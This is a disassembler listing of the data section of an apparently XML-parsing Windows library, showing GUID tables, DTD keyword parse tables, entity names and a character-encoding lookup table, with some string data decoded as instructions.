dword_69B25D54	dd 2933BF8Eh, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B24631o
					; sub_69B448CA+14Fo ...
dword_69B25D64	dd 2933BF8Dh, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B24667o
					; sub_69B448CA+127o ...
dword_69B25D74	dd 2933BF8Ch, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B24698o
					; sub_69B448CA+13Bo ...
dword_69B25D84	dd 2933BF8Bh, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B246CEo
					; sub_69B448CA+163o ...
dword_69B25D94	dd 2933BF8Ah, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B2456Eo
					; sub_69B448CA+FBo ...
dword_69B25DA4	dd 2933BF89h, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C+83CEo
					; sub_69B448CA+77o ...
dword_69B25DB4	dd 2933BF88h, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B24455o
					; sub_69B448CA+98o ...
dword_69B25DC4	dd 2933BF87h, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B2448Bo
					; sub_69B448CA+DAo ...
dword_69B25DD4	dd 2933BF86h, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B244C6o
					; sub_69B448CA+48o ...
dword_69B25DE4	dd 2933BF85h, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B244F6o
					; sub_69B448CA+5Fo ...
dword_69B25DF4	dd 2933BF84h, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C04C:loc_69B2452Co
					; sub_69B448CA+B0o
dword_69B25E04	dd 2933BF82h, 11D27B36h, 0C0000EB2h, 603E984Fh					; sub_69B54E00+70o ...
dword_69B25E14	dd 2933BF95h, 11D27B36h, 0C0000EB2h, 603E984Fh
					; DATA XREF: sub_69B1C12C:loc_69B1EF46o
					; sub_69B448CA+18Ao ...
dword_69B25E24	dd 373984C8h, 449BB845h, 0AC45E791h, 0DE6A0383h
					; DATA XREF: .data:off_69B984C4o
					; .data:off_69B996A0o
; IID stru_69B25E34
stru_69B25E34	dd 2933BF81h		; Data1	; DATA XREF: sub_69B1C12C+2D4Do
					; sub_69B3D28C+25o ...
		dw 7B36h		; Data2
		dw 11D2h		; Data3
		db 0B2h, 0Eh, 0, 0C0h, 4Fh, 98h, 3Eh, 60h; Data4
dword_69B25E44	dd 3EFAA413h, 11D2272Fh, 6F83h,	82777AF8h
					; DATA XREF: sub_69B1C04C:loc_69B245FBo
					; sub_69B448CA+113o ...
dword_69B25E54	dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh,	2933BF8Fh
					; DATA XREF: sub_69B1C04C:loc_69B24567o
					; sub_69B448CA+35o ...
		dd 11D27B36h, 0C0000EB2h, 603E984Fh
dword_69B25E74	dd 0C9407B83h, 496A04E7h, 67A526AFh, 86CCEF7Ah					; sub_69B3930C+3o
; IID stru_69B25E84
stru_69B25E84	dd 0D242361Eh		; Data1	; DATA XREF: sub_69B1C12C:loc_69B1F121o
					; sub_69B375FD+44o ...
		dw 51A0h		; Data2
		dw 11D2h		; Data3
		db 9Ch,	0AFh, 0, 60h, 0B0h, 0ECh, 3Dh, 39h; Data4
off_69B25E94	dd offset dword_69B18894 ; DATA	XREF: .text:off_69B2A4F4o
					; .text:off_69B2B19Co ...
		dd 0
; char OutputString[]
OutputString	db 'System Error related to ShareMutex',27h,'s Semaphore!!!',0Ah,0
					; DATA XREF: sub_69B1AE5D:loc_69B23427o
					; sub_69B19B0D:loc_69B23482o
		align 10h
dword_69B25ED0	dd 0FFFFE000h						; sub_69B2E3BD+7r ...
dword_69B25ED4	dd 0F5078F2Ch, 11D3C551h, 0B989h, 21E21FF8h
					; DATA XREF: sub_69B1C04C:loc_69B247F0o
					; sub_69B2D67E+1Co
aNull		db 'null',0             ; DATA XREF: .data:off_69B96388o
		align 4
aFalse:					; DATA XREF: .text:69B5EE10o
					; sub_69B60C8B:loc_69B60E0Fo ...
		unicode	0, <false>,0
aTrue:					; DATA XREF: .text:69B5EEB8o
					; sub_69B60C8B:loc_69B60E05o ...
		unicode	0, <true>,0
		align 8
word_69B25F08	dw 8			; DATA XREF: sub_69B2FB83+7r
					; sub_69B3078B+1Dr
		align 4
dword_69B25F0C	dd 0							; sub_69B30C4F+B7r
dword_69B25F10	dd 0				dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 8, 2	dup(0)
		dd 2011h, 40h, 0
		dd 2011h, 40h, 0
		dd 0Bh,	3, 4, 3, 2 dup(0)
		dd 7, 2	dup(0)
		dd 7, 2	dup(0)
		dd 7, 2	dup(0)
		dd 6, 317h, 40h, 5, 917h, 20h, 4, 917h,	10h, 5,	917h, 20h
		dd 10h,	17h, 10000h, 2,	17h, 4,	3, 17h,	2 dup(8), 17h
		dd 0
		dd 3, 17h, 2 dup(8), 917h, 20h,	4, 917h, 10h, 5, 917h
		dd 20h,	7, 2 dup(0)
		dd 7, 2	dup(0)
		dd 11h,	3, 20000h, 12h,	3, 40000h, 13h,	3, 80000h, 8, 3
		dd 0
		dd 8, 2	dup(0)
		dd 8, 3	dup(0)
aAbcdefghijklmn:			; DATA XREF: sub_69B3065C+3Co
					; sub_69B30A74+9Er ...
		unicode	0, <ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234>
		unicode	0, <56789+/>,0
		align 4
a?userDefined?:				; DATA XREF: .data:69B9642Co
		unicode	0, <?user-defined?>,0
		align 4
aNumber:				; DATA XREF: .text:69B210E0o
					; .text:69B5EE68o ...
		unicode	0, <number>,0
		align 4
aFloat_ieee_7_1:			; DATA XREF: .data:69B963E8o
		unicode	0, <float.IEEE.754.64>,0
aFloat_ieee_7_2:			; DATA XREF: .data:69B963E4o
		unicode	0, <float.IEEE.754.32>,0
aDatetime_tz_0:				; DATA XREF: .data:69B963D8o
		unicode	0, <dateTime.tz>,0
aDatetime_0:				; DATA XREF: .data:69B963D4o
		unicode	0, <dateTime>,0
		align 4
aDate:					; DATA XREF: .text:69B21038o
					; sub_69B60C8B:loc_69B60D29o ...
		unicode	0, <date>,0
		align 4
aBoolean:				; DATA XREF: .text:69B21028o
					; .text:off_69B5EDE0o ...
		unicode	0, <boolean>,0
; OLECHAR word_69B26224
word_69B26224	dw 0			; DATA XREF: sub_69B3AFB0+22o
					; sub_69B60C8B:loc_69B60E2Do ...
		align 4
off_69B26228	dd offset dword_69B18894 ; DATA	XREF: sub_69B3148Fo
					; .text:off_69B318A4o
		dd offset sub_69B315C2
word_69B26230	dw 0FEFFh		; DATA XREF: sub_69B35A2B+2Eo
					; sub_69B39A0F+72o ...
		align 8
dword_69B26238	dd 18h,	0			dd 1, 2	dup(0)
		dd 1, 0
		dd 2, 2	dup(0)
		dd 4
		dd offset asc_69B270E4	; "\""
		dd 4, 3, 0
		dd 4
		dd offset asc_69B270E0	; "'"
		dd 4, 9, 0
		dd 7, 0
		db 5, 4	dup(0)
		align 4
		dd 0
		dd 6, 0
		dd 6, 15h, 0FFFFFFFFh, 2 dup(0)
		dd 7, 2	dup(0)
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 8, 0C00CE50Ah, 0
		dd 0Ah,	2 dup(0)
		dd 42h,	0
		dd 8, 0
		dd 0Ah,	2 dup(0)
		dd 0Bh,	0
		dd 7, 0Bh, 3 dup(0)
		dd 0Ch,	2 dup(0)
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 8, 0Dh, 0
		db 5, 4	dup(0)
		align 4
		dd 0Eh,	2 dup(0)
		dd 9
		dd offset aNdata_0	; "NDATA"
		dd 0Fh,	0C00CE570h, 24h, 1, 0
		dd 10h,	2 dup(0)
		align 10h
		dd 11h,	2 dup(0)
		dd 6, 0
		dd 6, 13h, 0
dword_69B263A0	dd 1, 0				dd 1, 2	dup(0)
		db 5, 4	dup(0)
		align 4
		dd 2, 2	dup(0)
		dd 6, 0
		dd 3, 0Ah, 0
		dd 1, 0
		dd 4, 2	dup(0)
		dd 8, 0
		dd 5, 1, 3 dup(0)
		dd 6, 2	dup(0)
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 7, 0C00CE50Ah, 0
		dd 0Ah,	2 dup(0)
		dd 42h,	0
dword_69B26440	dd 1, 0				dd 1, 2	dup(0)
		db 5, 4	dup(0)
		align 4
		dd 2, 2	dup(0)
		dd 6, 0
		dd 3, 5, 0
		dd 0Bh,	0
		dd 9, 4, 3 dup(0)
		db 5, 4	dup(0)
		align 10h
		dd 0
		dd 2
		dd offset asc_69B270CC	; "["
		dd 0Ah,	6, 0
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 0Dh,	7, 0
		dd 8, 0
		dd 8, 4	dup(0)
		dd 9, 2	dup(0)
		dd 2
		dd offset asc_69B270CC	; "["
		dd 0Ah,	0Bh, 0
		dd 0Ch,	0
		dd 0Bh,	4 dup(0)
		dd 0Ch,	2 dup(0)
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 0Dh,	0C00CE50Ah, 0
		dd 0Ah,	2 dup(0)
dword_69B26550	dd 42h,	3 dup(0)					; .text:69B26688o ...
		dd 1, 2	dup(0)
		dd 2
		dd offset asc_69B270C8	; "("
		dd 2, 3, 0
		dd 0Fh
		dd offset dword_69B26550+8
		dd 5, 0Bh, 0
		db 5, 4	dup(0)
		align 4
		dd 4, 2	dup(0)
		dd 6, 0
		dd 5, 13h, 0
		dd 2
		dd offset a?_3		; "?"
		dd 8, 6, 39h, 2
		dd offset dword_69B122A4
		dd 8, 7, 37h, 2
		dd offset asc_69B270C0	; "+"
		dd 2 dup(8), 38h, 2 dup(0)
		dd 9, 2	dup(0)
		dd 2
		dd offset asc_69B270BC	; "|"
		dd 0Dh,	0Ah, 36h, 2
		dd offset asc_69B270B8	; ","
		dd 18h,	0Bh, 35h, 2
		dd offset asc_69B270B4	; ")"
		dd 23h,	0C00CE517h, 43h, 0Ah, 6	dup(0)
		dd 0Eh,	2 dup(0)
		dd 2
		dd offset asc_69B270C8	; "("
		dd 0Fh,	10h, 0
		dd 0Fh
		dd offset dword_69B26550+8
		dd 12h,	0Bh, 0
		align 10h
		dd 11h,	2 dup(0)
		dd 6, 0
		dd 12h,	13h, 0
		dd 2
		dd offset a?_3		; "?"
		dd 15h,	13h, 39h, 2
		dd offset dword_69B122A4
		dd 15h,	14h, 37h, 2
		dd offset asc_69B270C0	; "+"
		dd 2 dup(15h), 38h, 2 dup(0)
		dd 16h,	2 dup(0)
		dd 2
		dd offset asc_69B270BC	; "|"
		dd 0Dh,	17h, 36h, 2
		dd offset asc_69B270B4	; ")"
		dd 23h,	0C00CE517h, 43h, 2 dup(0)
		dd 19h,	2 dup(0)
		dd 2
		dd offset asc_69B270C8	; "("
		dd 1Ah,	1Bh, 0
		dd 0Fh
		dd offset dword_69B26550+8
		dd 1Dh,	0Bh, 0
		db 5, 4	dup(0)
		align 4
		dd 1Ch,	2 dup(0)
		dd 6, 0
		dd 1Dh,	13h, 0
		dd 2
		dd offset a?_3		; "?"
		dd 20h,	1Eh, 39h, 2
		dd offset dword_69B122A4
		dd 20h,	1Fh, 37h, 2
		dd offset asc_69B270C0	; "+"
		dd 2 dup(20h), 38h, 2 dup(0)
		dd 21h,	2 dup(0)
		dd 2
		dd offset asc_69B270B8	; ","
		dd 18h,	22h, 35h, 2
		dd offset asc_69B270B4	; ")"
		dd 23h,	0C00CE517h, 43h, 2
		dd offset a?_3		; "?"
		dd 26h,	24h, 39h, 2
		dd offset dword_69B122A4
		dd 26h,	25h, 37h, 2
		dd offset asc_69B270C0	; "+"
dword_69B26844	dd 2 dup(26h), 38h, 0Ah, 7 dup(0)
		dd 1, 2	dup(0)
		dd 2
		dd offset asc_69B270B0	; "#"
		dd 2, 10h, 0
		dd 0Eh,	0
		dd 3, 2	dup(0)
		dd 9
		dd offset aPcdata_0	; "#PCDATA"
		dd 4, 0C00CE571h, 34h, 2 dup(0)
		db 5, 4	dup(0)
		align 4
		dd 0
		dd 2
		dd offset asc_69B270B4	; ")"
		dd 11h,	6, 43h,	2
		dd offset asc_69B270BC	; "|"
		dd 7, 0C00CE515h, 36h, 2 dup(0)
		dd 8, 2	dup(0)
		align 10h
		dd 9, 2	dup(0)
		dd 6, 0
		dd 0Ah,	13h, 3 dup(0)
		dd 0Bh,	2 dup(0)
		dd 2
		dd offset asc_69B270B4	; ")"
		dd 0Dh,	0Ch, 43h, 2
		dd offset asc_69B270BC	; "|"
		dd 7, 0C00CE515h, 36h, 2
		dd offset dword_69B122A4
		dd 0Eh,	0C00CE516h, 0
		dd 6, 0
		dd 0Fh,	37h, 0
		dd 0Ah,	4 dup(0)
		dd 10h
		dd offset dword_69B26550+8
		dd 3 dup(0)
		dd 2
		dd offset dword_69B122A4
		dd 0Eh,	0Fh, 0
dword_69B269D0	dd 1, 0				dd 1, 2	dup(0)
		db 5, 4	dup(0)
		align 4
		dd 2, 2	dup(0)
		dd 6, 0
		dd 3, 8, 0
		dd 1, 0
		dd 4, 2	dup(0)
		dd 2
		dd offset asc_69B270C8	; "("
		dd 8, 5, 0
		db 5, 4	dup(0)
		align 4
		dd 6, 2	dup(0)
		dd 9
		dd offset aEmpty_1	; "EMPTY"
		dd 9, 7, 32h, 9
		dd offset aAny_1	; "ANY"
		dd 9, 0C00CE571h, 33h, 0Fh
		dd offset dword_69B26844+24h
		dd 9, 0Bh, 3 dup(0)
		dd 0Ah,	2 dup(0)
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 0Bh,	0C00CE50Ah, 0
		dd 0Ah,	2 dup(0)
		dd 42h,	0
dword_69B26AC0	dd 1, 0							; sub_69B33E72:loc_69B341BDo
		dd 1, 2	dup(0)
		db 5, 4	dup(0)
		align 4
		dd 2, 2	dup(0)
		dd 6, 0
		dd 3, 9, 3 dup(0)
		dd 4, 2	dup(0)
		dd 2
		dd offset asc_69B270DC	; ">"
		dd 5, 7, 0
		dd 0Ah,	2 dup(0)
		dd 42h,	0
		dd 1, 0
		dd 7, 2	dup(0)
		db 5, 4	dup(0)
		align 4
		dd 8, 2	dup(0)
		dd 6, 0
		dd 9, 18h, 0
		dd 1, 0
		dd 0Ah,	2 dup(0)
		dd 2
		dd offset asc_69B270C8	; "("
		dd 20h,	2 dup(0Bh), 5, 0
		dd 0Ch,	2 dup(0)
		dd 9
		dd offset aCdata_3	; "CDATA"
		dd 17h,	0Dh, 25h, 9
		dd offset aId_1		; "ID"
		dd 17h,	0Eh, 26h, 9
		dd offset aIdref_0	; "IDREF"
		dd 17h,	0Fh, 27h, 9
		dd offset aIdrefs_0	; "IDREFS"
		dd 17h,	10h, 28h, 9
		dd offset aEntity_1	; "ENTITY"
		dd 17h,	11h, 29h, 9
		dd offset aEntities_0	; "ENTITIES"
		dd 17h,	12h, 2Ah, 9
		dd offset aNmtoken_0	; "NMTOKEN"
		dd 17h,	13h, 2Bh, 9
		dd offset aNmtokens_0	; "NMTOKENS"
		dd 17h,	14h, 2Ch, 9
		dd offset aNotation_1	; "NOTATION"
		dd 15h,	0C00CE572h, 2Dh, 1, 0
		dd 16h,	2 dup(0)
		dd 2
		dd offset asc_69B270C8	; "("
		dd 26h,	0C00CE518h, 0Bh, 1, 0
		dd 18h,	2 dup(0)
		dd 2
		dd offset asc_69B270B0	; "#"
		dd 19h,	1Eh, 0
		dd 0Eh,	0
		dd 1Ah,	2 dup(0)
		dd 9
		dd offset aRequired_0	; "#REQUIRED"
		dd 3, 1Bh, 2Eh,	9
		dd offset aImplied	; "#IMPLIED"
		dd 3, 1Ch, 2Fh,	9
		dd offset aFixed	; "#FIXED"
		dd 1Dh,	0C00CE575h, 30h, 1, 0
		dd 1Eh,	2 dup(0)
		dd 17h,	0
		dd 3, 1, 8 dup(0)
		dd 21h,	2 dup(0)
		dd 0Eh,	0
		dd 22h,	1, 0
		dd 6, 0
		dd 23h,	14h, 3 dup(0)
		dd 24h,	2 dup(0)
		dd 2
		dd offset asc_69B270BC	; "|"
		dd 20h,	25h, 0
		dd 2
		dd offset asc_69B270B4	; ")"
		dd 17h,	0C00CE519h, 43h, 2 dup(0)
		dd 27h,	2 dup(0)
		db 5, 4	dup(0)
		align 4
		dd 28h,	2 dup(0)
		dd 6, 0
		dd 29h,	13h, 3 dup(0)
		dd 2Ah,	2 dup(0)
		dd 2
		dd offset asc_69B270BC	; "|"
		dd 26h,	2Bh, 0
		dd 2
		dd offset asc_69B270B4	; ")"
		dd 17h,	0C00CE519h, 43h
dword_69B26E30	dd 2							; sub_69B3576E+FAo
		dd offset asc_69B26FC4	; "!"
		dd 1, 0C00CE512h, 0
		dd 4
		dd offset asc_69B26FC0	; "-"
		dd 2, 4, 0
		dd 11h,	0
		dd 3, 2	dup(0)
		dd 0Ah,	4 dup(0)
		dd 4
		dd offset asc_69B270CC	; "["
		dd 5, 6, 0
		dd 12h,	0
		dd 3, 2	dup(0)
		align 10h
		dd 7, 2	dup(0)
		dd 9
		dd offset aDoctype_1	; "DOCTYPE"
		dd 8, 9, 0
		dd 10h
		dd offset dword_69B26440
		dd 3 dup(0)
		dd 9
		dd offset aElement_0	; "ELEMENT"
		dd 0Ah,	0Bh, 0
		dd 10h
		dd offset dword_69B269D0
		dd 3 dup(0)
		dd 9
		dd offset aEntity_1	; "ENTITY"
		dd 0Ch,	0Dh, 0
		dd 10h
		dd offset dword_69B26238
		dd 3 dup(0)
		dd 9
		dd offset aAttlist	; "ATTLIST"
		dd 0Eh,	0Fh, 0
		dd 10h
		dd offset dword_69B26AC0
		dd 3 dup(0)
		dd 9
		dd offset aNotation_1	; "NOTATION"
		dd 10h,	0C00CE565h, 0
		dd 10h
		dd offset dword_69B263A0
		dd 4 dup(0)
a1_0:					; DATA XREF: .text:69B21A04o
					; sub_69B59F43+44o ...
		unicode	0, <1.0>,0
aAttlist:				; DATA XREF: .text:69B26F38o
		unicode	0, <ATTLIST>,0
aElement_0:				; DATA XREF: .text:69B26EE8o
		unicode	0, <ELEMENT>,0
aDoctype_1:				; DATA XREF: .text:69B26EC0o
		unicode	0, <DOCTYPE>,0
asc_69B26FC0:				; DATA XREF: .text:69B26E48o
					; sub_69B60C8B:loc_69B610E7o ...
		unicode	0, <->,0
asc_69B26FC4:				; DATA XREF: .text:69B26E34o
					; sub_69B60C8B:loc_69B6104Do ...
		unicode	0, <!>,0
aFixed:					; DATA XREF: .text:69B26CF4o
		unicode	0, <#FIXED>,0
		align 4
aImplied:				; DATA XREF: .text:69B26CE0o
		unicode	0, <#IMPLIED>,0
		align 4
aRequired_0:				; DATA XREF: .text:69B26CCCo
		unicode	0, <#REQUIRED>,0
aNotation_1:				; DATA XREF: .text:69B26C54o
					; .text:69B26F60o
		unicode	0, <NOTATION>,0
		align 4
aNmtokens_0:				; DATA XREF: .text:69B26C40o
		unicode	0, <NMTOKENS>,0
		align 4
aNmtoken_0:				; DATA XREF: .text:69B26C2Co
		unicode	0, <NMTOKEN>,0
aEntities_0:				; DATA XREF: .text:69B26C18o
		unicode	0, <ENTITIES>,0
		align 4
aEntity_1:				; DATA XREF: .text:69B26C04o
					; .text:69B26F10o
		unicode	0, <ENTITY>,0
		align 4
aIdrefs_0:				; DATA XREF: .text:69B26BF0o
		unicode	0, <IDREFS>,0
		align 4
aIdref_0:				; DATA XREF: .text:69B26BDCo
		unicode	0, <IDREF>,0
aId_1:					; DATA XREF: .text:69B26BC8o
		unicode	0, <ID>,0
		align 10h
aCdata_3:				; DATA XREF: .text:69B26BB4o
					; .data:off_69B98430o
		unicode	0, <CDATA>,0
aAny_1:					; DATA XREF: .text:69B26A60o
		unicode	0, <ANY>,0
aEmpty_1:				; DATA XREF: .text:69B26A4Co
		unicode	0, <EMPTY>,0
aPcdata_0:				; DATA XREF: .text:69B268A8o
		unicode	0, <#PCDATA>,0
asc_69B270B0:				; DATA XREF: .text:69B26880o
					; .text:69B26CA4o ...
		unicode	0, <#>,0
asc_69B270B4:				; DATA XREF: .text:69B26638o
					; .text:69B26728o ...
		unicode	0, <)>,0
asc_69B270B8:				; DATA XREF: .text:69B26624o
					; .text:69B267F0o ...
		unicode	0, <,>,0
asc_69B270BC:				; DATA XREF: .text:69B26610o
					; .text:69B26714o ...
		unicode	0, <|>,0
asc_69B270C0:				; DATA XREF: .text:69B265E8o
					; .text:69B266ECo ...
		unicode	0, <+>,0
a?_3:					; DATA XREF: .text:69B21824o
					; .text:69B2184Co ...
		unicode	0, <?>,0
asc_69B270C8:				; DATA XREF: .text:69B26570o
					; .text:69B26674o ...
		unicode	0, <(>,0
asc_69B270CC:				; DATA XREF: .text:69B264A8o
					; .text:69B264F8o ...
		unicode	0, <[>,0
; const	WCHAR aNdata_0
aNdata_0:				; DATA XREF: .text:69B26354o
					; sub_69B54490+4o
		unicode	0, <NDATA>,0
; const	WCHAR asc_69B270DC
asc_69B270DC:				; DATA XREF: .text:69B219B4o
					; .text:69B262C8o ...
		dw 3Eh
		unicode	0, <>,0
asc_69B270E0:				; DATA XREF: .text:69B26278o
					; .text:69B346FCo ...
		dw 27h
		unicode	0, <>,0
; const	WCHAR asc_69B270E4
asc_69B270E4:				; DATA XREF: .text:69B26264o
					; .text:69B346E8o ...
		unicode	0, <">,0
aGt:					; DATA XREF: .text:69B1FE48o
					; sub_69B31B59+72o
		unicode	0, <gt>,0
		align 10h
aLt:					; DATA XREF: .text:69B1FF60o
					; sub_69B31B59+5Co
		unicode	0, <lt>,0
		align 4
aAmp:					; DATA XREF: .text:69B1FCA8o
					; sub_69B31B59+46o
		unicode	0, <amp>,0
aApos:					; DATA XREF: .text:69B1FCC0o
					; sub_69B31B59+30o
		unicode	0, <apos>,0
		align 4
aQuot:					; DATA XREF: .text:69B200E0o
					; sub_69B31B59+1Ao
		unicode	0, <quot>,0
		align 4
; const	WCHAR aXml
aXml:					; DATA XREF: sub_69B2132A+34Eo
					; sub_69B34F0F+1B0o ...
		unicode	0, <xml>,0
; const	WCHAR aXmlns
aXmlns:					; DATA XREF: sub_69B34F0F+15Eo
					; sub_69B3D5BC+Fo ...
		unicode	0, <xmlns>,0
aPi:					; DATA XREF: .text:69B200A0o
					; sub_69B60C8B:loc_69B60F8Fo ...
		unicode	0, <pi>,0
		align 4
aOr_0:					; DATA XREF: .text:69B20038o
					; sub_69B60C8B:loc_69B60F5Do ...
		unicode	0, <or>,0
		align 4
aNot_0:					; DATA XREF: .text:69B1FFD0o
					; .text:69B5EE60o ...
		unicode	0, <not>,0
aAnd_0:					; DATA XREF: .text:69B1FCB0o
					; sub_69B60C8B:loc_69B60F53o ...
		unicode	0, <and>,0
aUcs4:					; DATA XREF: .text:69B272A8o
					; .data:off_69B98434o
		unicode	0, <UCS-4>,0
aUcs2:					; DATA XREF: .text:69B27290o
					; .data:off_69B98438o
		unicode	0, <UCS-2>,0
aUtf7:					; DATA XREF: .data:off_69B9843Co
		unicode	0, <UTF-7>,0
; const	WCHAR aUtf8
aUtf8:					; DATA XREF: .text:69B27338o
					; sub_69B360BA+25o ...
		unicode	0, <UTF-8>,0
; const	WCHAR aTextXml_0
aTextXml_0:				; DATA XREF: sub_69B7C89C+F7o
					; sub_69B7D890+20o ...
		unicode	0, <text/xml>,0
		align 10h
off_69B27190	dd offset sub_69B367F2	; DATA XREF: sub_69B3659D+Ao
					; sub_69B36793+18o
		align 8
dword_69B27198	dd 4B0h							; sub_69B370C8:loc_69B37119r
byte_69B2719C	db 0			; DATA XREF: sub_69B370C8+38r
		align 10h
off_69B271A0	dd offset aIso10646Ucs2	; DATA XREF: sub_69B3693B+7r
					; "iso-10646-ucs-2"
dword_69B271A4	dd 2		off_69B271A8	dd offset sub_69B36B7A	; DATA XREF: sub_69B371A8+36r
off_69B271AC	dd offset sub_69B36D2A	; DATA XREF: sub_69B37251+36r
		dd 6FAFh, 1
		dd offset aIso88591	; "iso-8859-1"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB0h, 1
		dd offset aIso88592	; "iso-8859-2"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB1h, 1
		dd offset aIso88593	; "iso-8859-3"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB2h, 1
		dd offset aIso88594	; "iso-8859-4"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB3h, 1
		dd offset aIso88595	; "iso-8859-5"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB4h, 1
		dd offset aIso88596	; "iso-8859-6"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB5h, 1
		dd offset aIso88597	; "iso-8859-7"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB6h, 1
		dd offset aIso88598	; "iso-8859-8"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 6FB7h, 1
		dd offset aIso88599	; "iso-8859-9"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4B0h, 0
		dd offset aUcs2		; "UCS-2"
		dd 2
		dd offset sub_69B36B7A
		dd offset sub_69B36D2A
		dd 2EE0h, 0
		dd offset aUcs4		; "UCS-4"
		dd 4
		dd offset sub_69B36C05
		dd offset sub_69B36DA2
; ---------------------------------------------------------------------------
		jmp	loc_69B273BA
; ---------------------------------------------------------------------------
		align 10h
		dd offset aUnicode11Utf8 ; "UNICODE-1-1-UTF-8"
		dd 3
		dd offset sub_69B36999
		dd offset sub_69B36E46
		dd 4B0h, 0
		dd offset aUnicode20Utf16 ; "UNICODE-2-0-UTF-16"
		dd 2
		dd offset sub_69B36B7A
		dd offset sub_69B36D2A
; ---------------------------------------------------------------------------
		jmp	loc_69B273EA
; ---------------------------------------------------------------------------
		align 10h
		dd offset aUnicode20Utf8 ; "UNICODE-2-0-UTF-8"
		dd 3
		dd offset sub_69B36999
		dd offset sub_69B36E46
		dd 4E9Fh, 1
		dd offset aUsAscii	; "us-ascii"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4B0h, 0
		dd offset loc_69B27519+3
		dd 2
		dd offset sub_69B36B7A
		dd offset sub_69B36D2A
; ---------------------------------------------------------------------------
		jmp	loc_69B27432
; ---------------------------------------------------------------------------
		align 4
		dd offset aUtf8		; "UTF-8"
		dd 3
		dd offset sub_69B36999
		dd offset sub_69B36E46
		dd 4E2h, 1
		dd offset loc_69B274FD+3
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4E3h, 1
		dd offset loc_69B274E1+3
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4E4h, 1
		dd offset loc_69B274C5+3
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4E5h, 1
		dd offset loc_69B274A9+3
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4E6h, 1
		dd offset loc_69B2748D+3
		dd 1
		db 0BFh	; ¿ OFF32 SEGDEF [_text,69B36CBF]
		db 6Ch
; ---------------------------------------------------------------------------


loc_69B273BA:				; CODE XREF: .text:69B272B8j
		mov	bl, 69h
		mov	ecx, 0E769B36Fh
		add	al, 0
		add	[ecx], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd offset loc_69B27471+3
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4E8h, 1
		dd offset loc_69B27455+3
		dd 1
		db 0BFh	; ¿ OFF32 SEGDEF [_text,69B36CBF]
		db 6Ch
; ---------------------------------------------------------------------------


loc_69B273EA:				; CODE XREF: .text:69B272E8j
		mov	bl, 69h
		mov	ecx, 0E969B36Fh
		add	al, 0
		add	[ecx], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd offset loc_69B27439+3
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
		dd 4EAh, 1
		dd offset aWindows1	; "WINDOWS-1"
		dd 1
		dd offset sub_69B36CBF
		dd offset sub_69B36FB9
aWindows1:				; DATA XREF: .text:69B27410o
		unicode	0, <WINDOWS-1>
; ---------------------------------------------------------------------------


loc_69B27432:				; CODE XREF: .text:69B27330j
		xor	al, [eax]
		xor	eax, 3800h


loc_69B27439:				; DATA XREF: .text:69B273F8o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3700h,	dh


loc_69B27455:				; DATA XREF: .text:69B273E0o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3600h,	dh


loc_69B27471:				; DATA XREF: .text:69B273C8o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3500h,	dh


loc_69B2748D:				; DATA XREF: .text:69B273B0o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
